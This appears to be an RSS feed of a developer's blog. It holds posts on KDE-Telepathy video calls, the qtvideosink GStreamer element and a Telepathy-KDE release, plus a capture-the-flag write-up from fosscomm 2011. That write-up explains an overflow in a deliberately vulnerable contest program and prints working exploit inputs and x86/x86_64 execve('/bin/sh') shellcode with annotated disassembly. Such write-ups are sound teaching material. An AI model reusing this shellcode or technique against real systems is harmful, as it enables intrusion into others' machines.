<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Gkiagia's Blog</title>
	<atom:link href="http://gkiagia.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://gkiagia.wordpress.com</link>
	<description>Just another WordPress.com weblog</description>
	<lastBuildDate>Wed, 08 May 2013 11:50:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='gkiagia.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Gkiagia's Blog</title>
		<link>http://gkiagia.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://gkiagia.wordpress.com/osd.xml" title="Gkiagia&#039;s Blog" />
	<atom:link rel='hub' href='http://gkiagia.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Video calls in KDE-Telepathy</title>
		<link>http://gkiagia.wordpress.com/2012/03/29/video-calls-in-kde-telepathy/</link>
		<comments>http://gkiagia.wordpress.com/2012/03/29/video-calls-in-kde-telepathy/#comments</comments>
		<pubDate>Thu, 29 Mar 2012 00:08:08 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[gsoc 2009]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Collabora]]></category>
		<category><![CDATA[gsoc]]></category>
		<category><![CDATA[kcall]]></category>
		<category><![CDATA[telepathy]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=101</guid>
		<description><![CDATA[Well, I think I owed you this one Remember back in 2009 when I was working on KCall as part of the GSoC program? Well, it may have taken 2.5 years more, but I&#8217;m now pleased to announce that it&#8217;s finally in a ready-to-use state \o/ Don&#8217;t expect it to be perfect, of course. It still [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=101&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Well, I think I owed you this one <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Remember back in 2009 when I was working on <a href="https://gkiagia.wordpress.com/2009/08/16/gsoc-end-the-status-of-kcall-and-instructions-for-trying-it/">KCall</a> as part of the GSoC program? Well, it may have taken 2.5 years more, but I&#8217;m now pleased to announce that it&#8217;s finally in a ready-to-use state \o/ Don&#8217;t expect it to be perfect, of course. It still has a long way to go.</p>
<p>Here is the obligatory screenshot. Me on my desktop, calling myself on my laptop <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="attachment_105" class="wp-caption aligncenter" style="width: 310px"><a href="https://gkiagia.files.wordpress.com/2012/03/ktp-call-ui1.png"><img class="size-medium wp-image-105" title="ktp-call-ui" src="https://gkiagia.files.wordpress.com/2012/03/ktp-call-ui1.png?w=300&#038;h=293" alt="Screenshot of ktp-call-ui" width="300" height="293" /></a><p class="wp-caption-text">The KDE-Telepathy call-ui in action</p></div>
<h2>A little bit of history</h2>
<p>When my GSoC finished in 2009, there were 2 main problems with KCall. The first one was that the bits of the telepathy specification for doing calls (i.e. the &#8220;StreamedMedia&#8221; channel type) were problematic, not to mention that the API of the telepathy-farsight library, which was the only way to use StreamedMedia, was also weird and it took me too many tries to finally understand it (in late 2010&#8230;), which in simple words means that KCall was very unstable beacause it used the API in the wrong way (if there really was a right way to use it&#8230;). The second problem was that there was no telepathy integration in the KDE desktop, so KCall would need to have a proper contact list, account manager and other stuff that it shouldn&#8217;t have to implement.</p>
<p>In late 2010, the KDE-Telepathy project started evolving and we finally managed to make <a href="https://gkiagia.wordpress.com/2011/08/02/telepathy-kde-technical-preview-released-see-you-at-the-bds/">a first release last summer</a> with the necessary components to use telepathy on the KDE desktop. At about the same time, work began on a new API for doing calls in telepathy, the so-called &#8220;Call&#8221; channel type, plus telepathy-farstream, the new and enhanced version of telepathy-farsight. It took a little longer than expected, but finally a few weeks ago, thanks to the awesome work of my colleagues at <a href="http://www.collabora.com">Collabora</a> who engineered the whole thing, the &#8220;Call&#8221; API and telepathy-farstream were finished and released. Fortunately, last year I had already worked on porting the call-ui to the draft Call API, using the draft telepathy-qt Call bindings that used to be in the telepathy-qt4-yell module. So, now I only had to first update the telepathy-qt bindings to the latest and greatest API specification and then do the same with the call-ui, plus fix a bit the UI, which was way too ugly. And so I did.</p>
<h2>The present and the future</h2>
<p>The UI is far from perfect at the moment, but the engine seems to work reliably. I have many additions and improvements in mind. However, since I suck at UI design, I&#8217;d love having mockups of ideas from people that can actually design UIs. And I&#8217;d also love having other people to implement those ideas, since I&#8217;m a lazy man&#8230; <img src='http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  (ok, I don&#8217;t really mean that). So, if you feel like helping (either way), this is your chance to get involved <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>The current UI will be included in the next KDE-Telepathy release, 0.4, which is scheduled for next month. Be prepared.</p>
<h2>Try it</h2>
<p>So, if you can&#8217;t wait for the next KDE-Telepathy release and want to try this now, what you need is the latest ktp-call-ui from git master with all of its <a href="http://community.kde.org/Real-Time_Communication_and_Collaboration/Components/Call_UI">dependencies</a>. To make a call, simply right click one of your contacts in the contact list and click &#8220;audio call&#8221; or &#8220;video call&#8221;. Alternatively, you can do this directly from the text-ui or the contact plasmoid. Note that older versions of those components also have audio/video call buttons, but they will try to start StreamedMedia calls instead, which will fail. Also note that calls require XMPP (jabber, google talk) at the moment, but SIP support is also on its way upstream.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/101/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/101/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=101&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2012/03/29/video-calls-in-kde-telepathy/feed/</wfw:commentRss>
		<slash:comments>35</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>

		<media:content url="https://gkiagia.files.wordpress.com/2012/03/ktp-call-ui1.png?w=300" medium="image">
			<media:title type="html">ktp-call-ui</media:title>
		</media:content>
	</item>
		<item>
		<title>Introducing qtvideosink &#8211; GStreamer meets QML</title>
		<link>http://gkiagia.wordpress.com/2012/02/09/introducing-qtvideosink-gstreamer-meets-qml/</link>
		<comments>http://gkiagia.wordpress.com/2012/02/09/introducing-qtvideosink-gstreamer-meets-qml/#comments</comments>
		<pubDate>Thu, 09 Feb 2012 18:56:36 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[GStreamer]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Collabora]]></category>
		<category><![CDATA[gstreamer]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[qml]]></category>
		<category><![CDATA[qt-gstreamer]]></category>
		<category><![CDATA[qtvideosink]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=96</guid>
		<description><![CDATA[During the past month I&#8217;ve been working on a new GStreamer element called qtvideosink.  The purpose of this element is to allow painting video frames from GStreamer on any kind of Qt surface and on any platform supported by Qt. A &#8220;Qt surface&#8221; can be a QWidget, a QGraphicsItem in a QGraphicsView, a QDeclarativeItem in [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=96&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>During the past month I&#8217;ve been working on a new GStreamer element called <em>qtvideosink</em>.  The purpose of this element is to allow painting video frames from GStreamer on any kind of Qt surface and on any platform supported by Qt. A &#8220;Qt surface&#8221; can be a QWidget, a QGraphicsItem in a QGraphicsView, a QDeclarativeItem in a QDeclarativeView, and even off-screen surfaces like QImage, QPixmap, QGLPixelBuffer, etc&#8230; The initial reason for working on this new element was to support GStreamer video in QML, which is something that many people have asked me about in the past. Until now there was only QtMultimedia supporting this, with some code in phonon being in progress as well. But of course, the main disadvantage with both QtMultimedia and phonon is that although they support this feature with GStreamer as the backend, they don&#8217;t allow you to mix pure GStreamer code with their QML video item, therefore they are useless in case you need to do something more advanced using the GStreamer API directly. Hence the need for something new.</p>
<p>My idea with <em>qtvideosink</em> was to implement something that would be a standalone GStreamer element, which would not require the developer to use a specific high level API in order to paint video on QML. In the past I have also written another similar element, <em><a href="http://cgit.freedesktop.org/gstreamer/qt-gstreamer/tree/elements/gstqwidgetvideosink.cpp?id=RELEASE-0.10.1">qwidgetvideosink</a></em>, which is basically the same idea, but for QWidgets. After looking at the problem a bit more carefully, I realized that in fact <em>qwidgetvideosink</em> and <em>qtvideosink</em> would share a lot of their internal logic and therefore I could probably do one element generic enough to do both painting on QWidgets and on QML and perhaps more surfaces. And so I did.</p>
<p>I started by taking the code of <a href="http://cgit.collabora.com/git/qtgst-qmlsink.git/">qtgst-qmlsink</a>, a project that was started by a colleague here at <a href="http://www.collabora.com">Collabora</a> last year, with basically the same intention, but which was never finished properly. This project was initially based on QtMultimedia&#8217;s GStreamer backend. As a first step, I did some major refactoring to clean it up from its QtMultimedia dependencies and to make it an independent GStreamer plugin (as it used to be a library). Then I merged it with <em>qwidgetvideosink</em>, so that they can share the common parts of the code and also wrote a unit test for it. Sadly, the unit test proved something that I was suspecting already: the original QtMultimedia code was quite buggy. But I must say I enjoyed fixing it. It was a good opportunity for me to learn a lot of things on video formats and on OpenGL.</p>
<h2>How does it work</h2>
<p>First of all, you can create the sink with the standard <a href="http://gstreamer.freedesktop.org/data/doc/gstreamer/head/gstreamer/html/GstElementFactory.html#gst-element-factory-make">gst_element_factory_make</a> method (or its equivalent in the various bindings). You will notice that this sink provides two signals, an action signal (a slot in Qt terminology) called <em>&#8220;paint&#8221;</em> and a normal signal called <em>&#8220;update&#8221;</em>. <em>&#8220;update&#8221;</em> is emitted every time the sink needs the surface to be repainted. This is meant to be connected directly to QWidget::update() or QGraphicsItem::update() or something similar. The <em>&#8220;paint&#8221;</em> slot takes a QPainter pointer and a rectangle (x, y, width, height as <em>qreal</em>s) as its arguments and paints the video inside the given rectangle using the given painter. This is meant to be called from the widget&#8217;s paint event or the graphics item&#8217;s paint() function. So, all you need to do is to take care of those two signals and <em>qtvideosink</em> will do everything else.</p>
<h2>Getting OpenGL into the game</h2>
<p>You may be wondering how this sink does the actually painting. Using QPainter, using OpenGL or maybe something else? Well, there are actually <strong>two</strong> variants of this video sink. The first one, <em>qtvideosink,</em> just uses QPainter. It is able to handle only RGB data (only a subset of the formats that QImage supports) and does format conversion and scaling in software. The second one, however, <em>qtglvideosink</em>, uses OpenGL/OpenGLES with shaders. It is able to handle both RGB and YUV formats and does format conversion and scaling in hardware. It is used in exactly the same way as <em>qtvideosink</em>, but it requires a QGLContext pointer to be set on its &#8220;glcontext&#8221; property <strong>before</strong> its state is set to READY. This of course means that the underlying surface must support OpenGL (i.e. it must be one of QGLWidget, QGLPixelBuffer or QGLFrameBufferObject). To get this working on QGraphicsView/QML, you just need to set a QGLWidget as the viewport of QGraphicsView and use this widget&#8217;s QGLContext in the sink.</p>
<p><em>qtglvideosink</em> uses either GLSL shaders or ARB fragment program shaders if GLSL is not supported. This means it should work on pretty much every GPU/driver combination that exists for linux on both desktop and emebedded systems. In case no shaders are supported, it will fail to change its state to READY and then you can just substitute it with <em>qtvideosink</em>, which is guaranteed to work on all platforms supported by Qt.</p>
<p><em>qtglvideosink</em> also has an extra feature: it supports the GstColorBalance interface. Color adjustment is done in the shaders together with the format conversion. <em>qtvideosink</em> doesn&#8217;t support this, as it doesn&#8217;t make sense. Color adjustment would need to be implemented in software and this can be done better by plugging a <em>videobalance</em> element before the sink. No need to duplicate code.</p>
<h2>So, which variant to use?</h2>
<p>If you are interested in painting video on QGraphicsView/QML, then <em>qtglvideosink</em> is the best choice of all sinks. And if for any reason the system doesn&#8217;t support OpenGL shaders, <em>qtvideosink</em> is the next choice. Now if you intend to paint video on normal QWidgets, it is best to use one of the standard GStreamer sinks for your platform, unless you have a reason not to. QWidgets can be transformed to native system windows by calling their <a href="http://developer.qt.nokia.com/doc/qt-4.8/qwidget.html#winId">winId()</a> method and therefore any sink that implements the GstXOverlay interface can be embedded in them. On X11 for example, <em>xvimagesink</em> is the best choice. However, if you need to do something more tricky and embedding another window doesn&#8217;t suit you very well, you could use <em>qtglvideosink</em> in a QGLWidget (preferrably) or <em>qtvideosink</em> / <em>qwidgetvideosink</em> on a standard QWidget.</p>
<p>Note that <em>qwidgetvideosink </em>is basically the same thing as <em>qtvideosink</em>, with the difference that it takes a QWidget pointer in its &#8220;widget&#8221; property and handles everything internally for painting on this widget. It has no signals. Other than that, it still does painting in software with QPainter, just like <em>qtvideosink</em>. This is just there to keep compatibility with code that may already be using it, as it already exists in QtGStreamer 0.10.1.</p>
<h2>This is actually 0.10 stuff&#8230; What about GStreamer 0.11/1.0?</h2>
<p>Well, if you are interested in 0.11, you will be happy to hear that there is already <a href="http://cgit.collabora.com/git/user/gkiagia/libqtgstreamer.git/log/?h=qtvideosink-0.11">a partial 0.11 port around</a>. Two weeks ago I was at the GStreamer 1.0 hackfest at Malaga, Spain, and one of the things I did there was porting <em>qtvideosink</em> to 0.11. I must say the port was quite easy to do. However, last week I added some more stuff in the 0.10 version that I haven&#8217;t ported yet to 0.11. I&#8217;ll get to that soon, it shouldn&#8217;t take long.</p>
<h2>Try it out</h2>
<p>The code lives in the <a href="http://cgit.freedesktop.org/gstreamer/qt-gstreamer">qt-gstreamer repository</a>. The actual video sinks are independent from the qt-gstreamer bindings, but qt-gstreamer itself has some helper classes for using them. Firstly there is <a href="http://gstreamer.freedesktop.org/data/doc/gstreamer/head/qt-gstreamer/html/classQGst_1_1Ui_1_1VideoWidget.html">QGst::Ui::VideoWidget</a>, a QWidget subclass which will accept <em>qtvideosink</em>, <em>qtglvideosink</em> and <em>qwidgetvideosink</em> just like any other video sink and will transparently do all the required work to paint the video in it. Secondly, there is QGst::Ui::GraphicsVideoWidget and QGst::Ui::GraphicsVideoSurface. Those two are meant to be used together to paint video on a QGraphicsView or QML. You can find more about them at the documentation in <a href="http://cgit.freedesktop.org/gstreamer/qt-gstreamer/tree/src/QGst/Ui/graphicsvideosurface.h">graphicsvideosurface.h</a> (this will soon be on the documentation website). Finally, there is a QtGStreamer QML plugin, which exports a &#8220;VideoItem&#8221; element if you &#8220;import QtGStreamer 0.10&#8243;. This is also documented in the GraphicsVideoSurface header. All of this will soon be released in the upcoming qt-gstreamer 0.10.2.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/96/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/96/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=96&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2012/02/09/introducing-qtvideosink-gstreamer-meets-qml/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>
	</item>
		<item>
		<title>Telepathy-KDE technical preview released / See you at the BDS</title>
		<link>http://gkiagia.wordpress.com/2011/08/02/telepathy-kde-technical-preview-released-see-you-at-the-bds/</link>
		<comments>http://gkiagia.wordpress.com/2011/08/02/telepathy-kde-technical-preview-released-see-you-at-the-bds/#comments</comments>
		<pubDate>Tue, 02 Aug 2011 10:25:55 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[KDE]]></category>
		<category><![CDATA[desktop summit]]></category>
		<category><![CDATA[telepathy]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=88</guid>
		<description><![CDATA[So, last week we released the first version (technical preview) of Telepathy-KDE along with KDE SC 4.7. The release is separated from the KDE SC (it&#8217;s just a technical preview and hasn&#8217;t gone through kdereview yet), it just happened to be released at the same time. I would like to thank everyone in the team [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=88&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>So, last week we released the first version (technical preview) of <a href="http://community.kde.org/Real-Time_Communication_and_Collaboration">Telepathy-KDE</a> along with KDE SC 4.7. The release is separated from the KDE SC (it&#8217;s just a technical preview and hasn&#8217;t gone through kdereview yet), it just happened to be released at the same time. I would like to thank everyone in the team for making this release possible, after all those years that this project has been sitting there in playground, and especially David and Martin who did most of the hard work lately. If you want to try it, check with your <a href="http://community.kde.org/Real-Time_Communication_and_Collaboration/Packaging_Guide#Distributions">distribution</a> for binary packages or <a href="http://community.kde.org/Real-Time_Communication_and_Collaboration/Installing_stable_release">compile it from source</a> (the source can be downloaded from <a href="http://download.kde.org/download.php?url=unstable/telepathy-kde/0.1.0/src/">here</a>).</p>
<p>In other news, I am going to the Desktop Summit this year. See you all there <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="https://desktopsummit.org/"><img class="alignnone" src="https://desktopsummit.org/sites/www.desktopsummit.org/files/DS2011banner.png" alt="" width="333" height="110" /></a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/88/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/88/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=88&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2011/08/02/telepathy-kde-technical-preview-released-see-you-at-the-bds/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>

		<media:content url="https://desktopsummit.org/sites/www.desktopsummit.org/files/DS2011banner.png" medium="image" />
	</item>
		<item>
		<title>fosscomm 2011 &#8211; fosswar exploit challenge solution</title>
		<link>http://gkiagia.wordpress.com/2011/05/16/fosscomm-2011-fosswar-exploit-challenge-solution/</link>
		<comments>http://gkiagia.wordpress.com/2011/05/16/fosscomm-2011-fosswar-exploit-challenge-solution/#comments</comments>
		<pubDate>Sun, 15 May 2011 22:45:35 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[Personal life]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[fosscomm]]></category>
		<category><![CDATA[fosswar]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[wargames]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://gkiagia.wordpress.com/?p=76</guid>
		<description><![CDATA[Last weekend I went to fosscomm 2011, a Greek conference on Free and Open Source Software, together with my friend Nick Kossifidis (mickflemm), at the University of Patras. I can say we had a wonderful time there. I met many interesting people, some that I knew from the internet already and some that I didn&#8217;t, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=76&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Last weekend I went to <a href="http://patras.fosscomm.gr/?lang=en">fosscomm 2011</a>, a Greek conference on Free and Open Source Software, together with my friend Nick Kossifidis (mickflemm), at the <a href="http://www.ceid.upatras.gr/en/index.htm">University of Patras</a>. I can say we had a wonderful time there. I met many interesting people, some that I knew from the internet already and some that I didn&#8217;t, I attended many interesting talks about topics that I had limited or no knowledge and I also took part in fosswar, a wargames competition that had some quite interesting challenges.</p>
<p>Fosswar was very exciting. There were five challenges (you can get them <a href="http://patras.fosscomm.gr/talks/fosswar.tar.gz">here</a> if you are interested). People were organized in teams, splitting the 5 challenges between them or collaborating on some of them. When it started, there was no room to sit with my laptop, so I stayed for some time trying to help my friend with the challenge that he started solving (challenge 5, reverse engineering). A little later, some people left, so I thought why not start solving challenge 4 (exploitation), which nobody in my friend&#8217;s team had started solving. And so I did&#8230;</p>
<p>In this challenge, we were given the source code of a C program that had an exploitable security hole that we had to exploit. The program works like this: Initially, it allocates an array of many &#8220;struct bogus&#8221;, where &#8220;struct bogus&#8221; is:</p>
<pre>struct bogus {
  size_t magic;
  fptr f;
  char buffer[16];
} bogus_t;</pre>
<p>This array is dynamically allocated with mmap() on a predefined memory address (0&#215;80000000). After that, it populates the buffers of all the &#8220;struct bogus&#8221; with the character &#8216;M&#8217; (0x4D), the magic numbers with ~0 (0xFFFFFFFF on 32-bit and 0xFFFFFFFFFFFFFFFF on 64-bit) and the function pointers (fptr f) with 0. When everything is initialized, it starts reading from stdin and places whatever it reads on a 1KB buffer on the stack. Then, it copies the contents of the buffer to the 16-byte buffer of a random &#8220;struct bogus&#8221; in the array and then it iterates over all the &#8220;struct bogus&#8221; in the array, starting from the second one, verifying that their magic number is still ~0 and executing the function f, if the function pointer f is not null. Ok, this is not the most useful program in the world, it is *made* to be exploited, but well, let&#8217;s see how this can be done.<span id="more-76"></span></p>
<p>One might think that reading from stdin to a buffer on the stack looks like  a stack overflow might be possible. However, this is not true in this case, since the call to read() uses sizeof(buffer) &#8211; 1 as the maximum size, so one could not possibly inject more than 1KB of data in this buffer. But, when this 1KB buffer is copied to the 16-byte buffer of one of the &#8220;struct bogus&#8221;, there is no size check! Therefore, it is possible to write more than 16 bytes and overwrite the contents of many &#8220;struct bogus&#8221; in the array. Then, since those structs have a function pointer that is called if it is not null, one can probably set this pointer to point to the injected data in the array and put some nice assembly instructions there.</p>
<p>So far so good, but there is one remaining problem. We don&#8217;t know the exact address of the &#8220;struct bogus&#8221; that we have access to, because the index in the array where our data is written is chosen with rand(). That&#8217;s where those lines start being useful:</p>
<pre>buffer[0] = 0xe9;
*(u_int32_t *)&amp;buffer[1] = ((u_int32_t)(sizeof(struct bogus) * (idx + 1) + sizeof(size_t) + sizeof(fptr) - 5));
memcpy(map, buffer, 5);</pre>
<p>This looks weird at first sight. What it does is that it fills the first 5 bytes of the aforementioned array (the map pointer) with 0xe9 followed by a number that is the relative number of bytes from the 5th byte of the array to the beggining of the &#8220;buffer&#8221; member of the &#8220;struct bogus&#8221; that is right after the one that we have access to. After googling a bit, one can find that 0xe9 is in fact the opcode of the x86 JMP command and the number is exactly the offset needed to jump to the first byte of this buffer.</p>
<p>So, the solution is injecting something like this (for x86):</p>
<pre>% hd input_x86
00000000  4d 4d 4d 4d 4d 4d 4d 4d  4d 4d 4d 4d 4d 4d 4d 4d  |MMMMMMMMMMMMMMMM|
00000010  ff ff ff ff 00 00 00 80  31 c9 6a 01 5b 6a 3f 58  |........1.j.[j?X|
00000020  cd 80 f7 e1 51 68 2f 2f  73 68 68 2f 62 69 6e 89  |....Qh//shh/bin.|
00000030  e3 6a 0b 58 cd 80                                 |.j.X..|</pre>
<p>This fills the 16 bytes of the &#8220;buffer&#8221; member with 0x4D (the value that was already there from the initialization &#8211; anything else will also work), then it overwrites the next &#8220;struct bogus&#8221; and places 0xFFFFFFFF on the magic number (required, else the check will fail), 0&#215;80000000 on the function pointer (the beginning of the array, where there is the JMP command) and a shellcode on the rest of it. The shellcode can be as long as we want, since execution is never going to go further than this point, so the magic number of the next struct doesn&#8217;t need to be correct.</p>
<p>The fun here was not exploiting the program, but creating a shellcode that does something useful! I had never done this before and I also had limited knowledge of the x86 instruction set and how linux system calls work, however after some research I managed to do it (but I did this at home, later, not during the competition; during the competion I was only able to see in gdb that $eip changes and points to this address in my data and then it crashed). Here is the shellcode that I wrote (with some help from existing shellcodes on the internet):</p>
<pre>Equivalent C code:
    dup2(1,0);
    execve("/bin/sh", 0, 0);

//ecx = 0; (dup2 second arg)
31 c9                   xor    %ecx,%ecx

//ebx = 1; (dup2 first arg)
6a 01                   push   $0x1
5b                      pop    %ebx

//eax = 0x3f; (dup2 syscall)
6a 3f                   push   $0x3f
58                      pop    %eax

//call dup2
cd 80                   int    $0x80

//edx:eax = eax * ecx; (== 0)
//-&gt; this effectively sets edx to 0, required 3rd argument for execve
f7 e1                   mul    %ecx

//push "/bin//sh" on the stack. ecx provides the terminating null char
51                      push   %ecx
68 2f 2f 73 68          push   $0x68732f2f
68 2f 62 69 6e          push   $0x6e69622f

//ebx = esp; (which is a pointer to "/bin//sh", first argument for execve)
89 e3                   mov    %esp,%ebx

//eax = 0xb; (execve syscall)
6a 0b                   push   $0xb
58                      pop    %eax

//call execve
cd 80                   int    $0x80</pre>
<p>This invokes /bin/sh after setting stdin to be the same as stdout. I had to do this dup2() call because when running the program on the shell like this &#8220;./exp &lt; input_x86&#8243;, stdin is the input file and when the shell executes, the file is already at its end, so the shell exits due to EOF. But after setting stdin be equal to stdout (which is the terminal device), input on the shell works fine, so here it is:</p>
<pre>gkiagia@gkserver(pts/5):0:43:46:~/Projects/misc/fosscomm2011-exploit
% ./exp_x86 &lt; input_x86
strcpy() + 0x41414141 != Stack oveflow / get over it!
Your lucky number is: 163
$ ls
a.out  exp_x86  exp_x86_64  exploitable.c  input_x86  input_x86_64  shellcode_x86.c  shellcode_x86_64.c
$ rm a.out
$ ls
exp_x86  exp_x86_64  exploitable.c  input_x86  input_x86_64  shellcode_x86.c  shellcode_x86_64.c
$ exit
gkiagia@gkserver(pts/5):0:50:56:~/Projects/misc/fosscomm2011-exploit
%</pre>
<p>And for fun, I also did the same thing for x86_64:</p>
<pre>% hd input_x86_64
00000000  4d 4d 4d 4d 4d 4d 4d 4d  4d 4d 4d 4d 4d 4d 4d 4d  |MMMMMMMMMMMMMMMM|
00000010  ff ff ff ff ff ff ff ff  00 00 00 80 00 00 00 00  |................|
00000020  48 31 f6 6a 01 5f 6a 21  58 0f 05 48 f7 e6 56 48  |H1.j._j!X..H..VH|
00000030  bb 2f 62 69 6e 2f 2f 73  68 53 48 89 e7 6a 3b 58  |./bin//shSH..j;X|
00000040  0f 05                                             |..|

//rsi = 0; (dup2 second arg)
48 31 f6                xor    %rsi,%rsi

//rdi = 1; (dup2 first arg)
6a 01                   push   $0x1
5f                      pop    %rdi

//rax = 0x21; (dup2 syscall)
6a 21                   push   $0x21
58                      pop    %rax

//call dup2
0f 05                   syscall

//rdx:rax = rax * rsi; (== 0)
//-&gt; this effectively sets rdx to 0, required 3rd argument for execve
48 f7 e6                mul    %rsi

//push "/bin//sh" on the stack. rsi provides the terminating null char
56                                  push   %rsi
48 bb 2f 62 69 6e 2f 2f 73 68       movabs $0x68732f2f6e69622f,%rbx
53                                  push   %rbx

//rdi = rsp; (which is a pointer to "/bin//sh", first argument for execve)
48 89 e7                mov    %rsp,%rdi

//rax = 0x3b; (execve syscall)
6a 3b                   push   $0x3b
58                      pop    %rax

//call execve
0f 05                   syscall</pre>
<p>That&#8217;s it! I hope you found it interesting too. If you are interested in the other challenges as well, you can read about them <a href="http://www.void.gr/kargig/blog/2011/05/13/fosswar-2011-how-we-did-it/">here</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gkiagia.wordpress.com/76/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gkiagia.wordpress.com/76/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gkiagia.wordpress.com&#038;blog=7466738&#038;post=76&#038;subd=gkiagia&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://gkiagia.wordpress.com/2011/05/16/fosscomm-2011-fosswar-exploit-challenge-solution/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/33cb55fb80a3b827821cd970e0941c01?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gkiagia</media:title>
		</media:content>
	</item>
		<item>
		<title>QtGStreamer 0.10.1</title>
		<link>http://gkiagia.wordpress.com/2011/01/25/qtgstreamer-0-10-1/</link>
		<comments>http://gkiagia.wordpress.com/2011/01/25/qtgstreamer-0-10-1/#comments</comments>
		<pubDate>Tue, 25 Jan 2011 14:59:40 +0000</pubDate>
		<dc:creator>gkiagia</dc:creator>
				<category><![CDATA[GStreamer]]></category>
		<category><![CDATA[KDE]]></category>
